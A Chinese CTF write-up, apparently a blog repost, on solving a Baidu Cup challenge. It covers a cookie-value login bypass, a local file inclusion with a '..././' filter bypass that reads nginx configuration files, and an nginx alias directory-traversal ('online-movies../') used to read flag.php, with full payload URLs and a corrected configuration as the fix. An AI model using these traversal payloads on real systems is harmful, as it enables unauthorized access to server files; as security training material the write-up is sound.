• nginx 配置不当导致目录遍历下载漏洞


      今天做百度杯的时候发现一个题很有意思。

    点进题目,发现了一个js重定向到login.php,抓包发现请求的header中cookie=0,做过这种类似的题目,o==false,在请求头里面将cookie=1,结果就进去了后台,(login.php中没有发现什么信息),进入后台,

     点开Manage,如上图,网址的构造是module=index$name=php 推测是文件包含,我将index改成flag,说明flag在flag.php中我们所要做的就是提取出flag.php中的内容

    思路1 用php://filter文件流读取,发现失败了,可能就需要换一个思路

    思路2 先判断有没有过滤,fuzz一下

    http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in../dex&name=php访问成功

    http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in./dex&name=php访问失败

    说明../被过滤了,用..././绕过,读取/etc/nginx/nginx.conf配置文件,

    其中发现了一点可疑的地方,百度一下,发现有个nginx目录遍历下载漏洞

    访问这个文件 http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=..././..././..././etc/nginx/sites-enabled/default&name=

     

    这里 movie后面有一个 / 

    当你浏览http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies,正常情况应该遍历online-movies/这个目录,但是如果访问http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../, 这个的话就会遍历online-movies整个目录了

    最后读取flag

    http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../var/www/html/flag.php

    就不贴出来flag了

    漏洞前提条件是必须是子目录、开启了autoindex,并且alias指定目录的时候加了"/",才能利用成功

    安全建议:

    	location /online-movies {
                alias /movie;
                autoindex on;
            }
    	location /online-movies/ {
                alias /movie/;
                autoindex on;
            }


    参考:http://luoq.net/ais/1191/
    keep hacking keep coding
  • 相关阅读:
    软件工程第四周进度总结
    djang-模型层(model)--添加,查询,修改
    django--模型层(ORM)-建表
    django---模板层
    django--MTV基础模型
    django--权限管理思路版
    django--权限管理day1
    django-超级管理员操作
    django-orm的表操作.
    django---查询操作
  • 原文地址:https://www.cnblogs.com/Mrsm1th/p/6600876.html
Copyright © 2020-2023  润新知